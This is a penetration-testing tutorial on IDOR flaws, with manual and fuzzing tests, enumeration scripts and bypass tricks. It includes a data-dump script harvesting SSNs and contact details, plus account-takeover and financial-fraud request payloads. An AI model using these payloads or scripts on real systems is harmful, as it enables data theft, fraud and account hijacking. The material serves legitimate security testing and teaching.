Insecure Direct Object Reference (IDOR)
Insecure Direct Object Reference (IDOR) is a web security vulnerability that occurs when an application exposes a direct reference to an internal implementation object, such as a database key or filename. Attackers can manipulate these references to access unauthorized data.
How It Works
IDOR vulnerabilities arise when an application uses user-supplied input to access objects directly without proper authorization checks. For example, consider this URL:
https://bank.com/account?id=12345
If the application doesn't verify that the logged-in user owns account 12345, an attacker could simply change the ID:
https://bank.com/account?id=12346
This could expose another user's account information if authorization checks are missing.
Manual Testing
URL Parameter Tests
Testing for IDOR in URL parameters by manipulating identifiers:
# Step 1: Identify direct object references
https://site.com/user/profile?id=123
https://site.com/api/document?doc_id=456
https://site.com/order/view?order=789
# Step 2: Change ID to another value
https://site.com/user/profile?id=124 # Increment by 1
https://site.com/api/document?doc_id=1 # Try minimal value
https://site.com/order/view?order=100 # Try different ranges
# Step 3: Observe response
# - Same access level: Vulnerable to IDOR
# - Different access: Check if sensitive data exposed
# - Error message: Authorization might be in place
# - 403/401: Proper access control exists
POST Body Tests
Testing IDOR in request bodies:
# Original request
POST /api/update-profile
{
"user_id": 123,
"email": "user@example.com"
}
# Modified request - Try changing user_id
POST /api/update-profile
{
"user_id": 124,
"email": "attacker@example.com"
}
# Array-based references
POST /api/delete-users
{
"ids": [123]
}
# Try adding other IDs
POST /api/delete-users
{
"ids": [123, 124, 125]
}
HTTP Header Tests
Testing for IDOR in HTTP headers:
# User-ID in custom headers
GET /api/profile HTTP/1.1
X-User-ID: 123
X-Account-ID: 456
# Try modifying header values
GET /api/profile HTTP/1.1
X-User-ID: 124
X-Account-ID: 457
# Authorization tokens with embedded IDs
Authorization: Bearer eyJ1c2VyX2lkIjoxMjN9...
# Decode, modify user_id, re-encode
Cookie Tests
Testing IDOR through cookie manipulation:
# Original cookie
Cookie: user_id=123; session=abc123
# Modified cookie
Cookie: user_id=124; session=abc123
# Base64 encoded cookies
Cookie: user_data=eyJ1c2VyX2lkIjoxMjN9
# Decode: {"user_id":123}
# Modify to: {"user_id":124}
# Encode and test
File Access Tests
Testing for IDOR in file operations:
# Document downloads
https://site.com/download?file=document_123.pdf
https://site.com/download?file=document_124.pdf
# Image access
https://site.com/images/user/123/avatar.jpg
https://site.com/images/user/124/avatar.jpg
# Backup files
https://site.com/backups/user_123_backup.zip
https://site.com/backups/user_124_backup.zip
API Endpoint Tests
Systematically testing API endpoints for IDOR:
# RESTful API patterns
GET /api/users/123 # Get user details
PUT /api/users/124 # Update different user
DELETE /api/users/125 # Delete different user
# Nested resources
GET /api/companies/1/employees/123 # Access employee
GET /api/companies/2/employees/123 # Try different company
# GraphQL queries
query {
user(id: 123) { email, phone, ssn }
# Try: user(id: 124)
}
Automated Discovery
Using Burp Suite
# Step 1: Configure Burp Suite Intruder
1. Capture request with ID parameter
2. Send to Intruder (Ctrl+I)
3. Mark ID parameter as payload position: §123§
# Step 2: Configure payload
- Payload type: Numbers (sequential)
- From: 1, To: 10000, Step: 1
# Step 3: Set matching rules
- Grep Match: Look for sensitive keywords
- Filter by status codes
- Sort by response length
# Step 4: Analyze results
- Different response sizes indicate different data
- Same status codes might still contain different data
- Check response times for delays
Using FFUF
# Basic IDOR fuzzing with ffuf
ffuf -u https://target.com/api/user/FUZZ -w numbers.txt -mc 200
# Custom wordlist generation
seq 1 10000 > ids.txt
ffuf -u https://target.com/api/user/FUZZ -w ids.txt
# With authentication
ffuf -u https://target.com/api/user/FUZZ \
-w ids.txt \
-H "Authorization: Bearer TOKEN" \
-mc 200,301,302 \
-fs 0
# POST request fuzzing
ffuf -u https://target.com/api/user \
-w ids.txt \
-X POST \
-d '{"user_id":"FUZZ"}' \
-H "Content-Type: application/json"
Using Custom Scripts
# Python script for IDOR testing
import requests
base_url = "https://target.com/api/user/"
headers = {"Authorization": "Bearer YOUR_TOKEN"}
valid_responses = []
for user_id in range(1, 1000):
url = base_url + str(user_id)
response = requests.get(url, headers=headers)
if response.status_code == 200:
# Check if response contains sensitive data
if "email" in response.text or "phone" in response.text:
valid_responses.append({
"id": user_id,
"status": response.status_code,
"length": len(response.text),
"data": response.json()
})
print(f"[+] Found: User ID {user_id}")
# Save results
with open("idor_results.json", "w") as f:
json.dump(valid_responses, f, indent=2)
Attack Vectors
Numeric ID Manipulation
Exploiting sequential numeric identifiers:
# Basic increment/decrement
Original: /api/invoice/1234
Test: /api/invoice/1235
Test: /api/invoice/1233
# Range testing
for id in {1..1000}; do
curl https://api.target.com/user/$id -H "Auth: token"
done
# Step-based testing
# Some systems skip IDs (e.g., 100, 200, 300)
for id in {100..10000..100}; do
curl https://api.target.com/order/$id
done
GUID/UUID Manipulation
Attacking seemingly random identifiers:
# UUID enumeration (if leaked elsewhere)
# UUIDs might be leaked in:
# - JavaScript files
# - API responses for other users
# - Public profiles
# - Email notifications
# Example leaked UUIDs
curl https://api.target.com/user/550e8400-e29b-41d4-a716-446655440000
curl https://api.target.com/user/550e8400-e29b-41d4-a716-446655440001
# Predictable UUID generation
# Some UUIDs are time-based (UUID v1)
# These can be predicted if you know the timestamp
Hash-Based ID Bypass
Exploiting weak hashing or encoding:
# MD5 hashed IDs
# If ID is MD5(user_id), you can generate your own
echo -n "123" | md5sum # 202cb962ac59075b964b07152d234b70
# Test: /api/user/202cb962ac59075b964b07152d234b70
# Base64 encoded IDs
echo "123" | base64 # MTIzCg==
echo "124" | base64 # MTI0Cg==
# Test: /api/user/MTI0Cg==
# URL-safe Base64
echo -n "user:123" | base64 # dXNlcjoxMjM=
echo -n "user:124" | base64 # dXNlcjoxMjQ=
Parameter Pollution
Using multiple parameters with the same name:
# Standard request
GET /api/profile?user_id=123
# Parameter pollution attempts
GET /api/profile?user_id=123&user_id=124
GET /api/profile?user_id=124&user_id=123
GET /api/profile?user_id[]=123&user_id[]=124
# JSON parameter pollution
POST /api/update
{
"user_id": 123,
"user_id": 124,
"email": "attacker@evil.com"
}
Mass Assignment
Exploiting missing input validation:
# Original intended request
POST /api/update-profile
{
"name": "John Doe",
"email": "john@example.com"
}
# Adding unauthorized fields
POST /api/update-profile
{
"name": "John Doe",
"email": "john@example.com",
"user_id": 124, # Try to modify another user
"role": "admin", # Try privilege escalation
"is_verified": true, # Try to bypass verification
"balance": 999999 # Try to modify sensitive data
}
Blind IDOR Exploitation
Exploiting IDOR when direct feedback isn't available:
# Delete operations
DELETE /api/user/123 # Your account - check if deleted
DELETE /api/user/124 # Other account - no direct feedback
# Time-based detection
# If operation takes longer, it might be processing
time curl -X DELETE https://api.target.com/user/124
# Out-of-band detection
DELETE /api/user/124
# Check:
# - Email notifications sent to victim
# - Webhook callbacks
# - Database logs (if you gain access later)
# State change verification
POST /api/friend-request?to_user=124
# Check victim's profile or friend list if accessible
Post-Exploitation
Data Enumeration
Systematically extracting data:
# Extract all user data
import requests
import json
base_url = "https://target.com/api/user/"
headers = {"Authorization": "Bearer TOKEN"}
users_data = []
for user_id in range(1, 10000):
try:
response = requests.get(
f"{base_url}{user_id}",
headers=headers,
timeout=5
)
if response.status_code == 200:
user_data = response.json()
users_data.append(user_data)
# Extract sensitive fields
sensitive_info = {
"id": user_id,
"email": user_data.get("email"),
"phone": user_data.get("phone"),
"ssn": user_data.get("ssn"),
"address": user_data.get("address")
}
print(f"[+] User {user_id}: {sensitive_info}")
except Exception as e:
continue
# Save complete dump
with open("user_dump.json", "w") as f:
json.dump(users_data, f, indent=2)
Privilege Escalation
Exploiting IDOR for privilege escalation:
# Accessing admin functionality
GET /api/admin/users/123
GET /api/admin/settings
# Modifying user roles
PUT /api/user/124
{
"role": "admin",
"permissions": ["read", "write", "delete"]
}
# Accessing restricted resources
GET /api/company/1/financial-reports
GET /api/system/config
Account Takeover
Using IDOR to take over accounts:
# Password reset via IDOR
POST /api/reset-password
{
"user_id": 124,
"new_password": "attacker_password"
}
# Email change via IDOR
PUT /api/user/124/email
{
"new_email": "attacker@evil.com"
}
# Adding authentication method
POST /api/user/124/add-phone
{
"phone": "+1234567890"
}
Financial Fraud
Exploiting IDOR in financial operations:
# Modifying transaction amounts
PUT /api/transaction/123
{
"amount": 0.01,
"status": "completed"
}
# Accessing other users' payment methods
GET /api/user/124/payment-methods
POST /api/payment/charge
{
"user_id": 124,
"payment_method_id": "pm_abc123",
"amount": 100
}
# Refund manipulation
POST /api/refund
{
"transaction_id": 124,
"account_id": 999 # Attacker's account
}
Bypass Techniques
Weak Authorization Bypass
Bypassing insufficient authorization checks:
# Role-based bypass
# If authorization only checks role, not ownership
GET /api/admin/user/123 # Blocked
GET /api/user/123 # Check if accessible with user role
# HTTP Method bypass
GET /api/user/123 # Blocked
POST /api/user/123 # Try different method
HEAD /api/user/123 # Try HEAD request
Path Traversal Bypass
Using path manipulation to bypass checks:
# Directory traversal
GET /api/user/123
GET /api/user/../user/124
GET /api/user/./124
# Encoding bypass
GET /api/user/%2e%2e%2fuser%2f124
GET /api/user/..%2fuser%2f124
# Null byte injection (older systems)
GET /api/user/123%00/../../user/124
Content-Type Bypass
Changing content type to bypass validation:
# Original JSON request (blocked)
POST /api/update-profile
Content-Type: application/json
{"user_id": 124}
# Try XML
POST /api/update-profile
Content-Type: application/xml
<user>
<user_id>124</user_id>
</user>
# Try form data
POST /api/update-profile
Content-Type: application/x-www-form-urlencoded
user_id=124
Array Wrapping
Wrapping parameters in arrays:
# Blocked
{
"user_id": 124
}
# Try array wrapping
{
"user_id": [124]
}
# Try nested object
{
"user": {
"id": 124
}
}
# Try multiple values
{
"user_id": [123, 124]
}
Token Confusion
Exploiting token handling issues:
# Using expired tokens
# Some systems validate token but ignore expiry
# Using tokens from different endpoints
# Token from /api/v1/user might work on /api/v2/user
# Missing token validation
# Some endpoints might not validate token at all
curl https://api.target.com/user/124
# Try without Authorization header
# JWT algorithm confusion
# Change alg from RS256 to HS256
# Change alg to "none"
Wildcard Exploitation
Using wildcards in ID parameters:
# Wildcard in IDs
GET /api/user/*
GET /api/user/%
GET /api/user/_
# Regex exploitation
GET /api/user/.*
GET /api/user/[0-9]+
# Range specification
GET /api/users?ids=1-100
GET /api/users?ids=*
Common Tools for IDOR Testing
The following tools are widely used during IDOR (Insecure Direct Object Reference) security testing, authorization testing, and API security assessments to identify broken access control vulnerabilities.
| Tool | Description | Primary Use Case |
|---|---|---|
| Burp Suite | Industry-standard web application security testing platform | IDOR discovery, request manipulation, and exploitation |
| FFUF | Fast web fuzzer | Resource and ID enumeration to identify accessible objects |
| Autorize | Burp Suite extension | Automated authorization testing between user roles |
| AuthMatrix | Burp Suite extension | Access control and privilege testing across multiple users |
| InQL | Burp Suite extension for GraphQL security testing | Identifying IDOR and authorization flaws in GraphQL APIs |
| Postman | API development and testing platform | Manual API testing, request replay, and IDOR verification |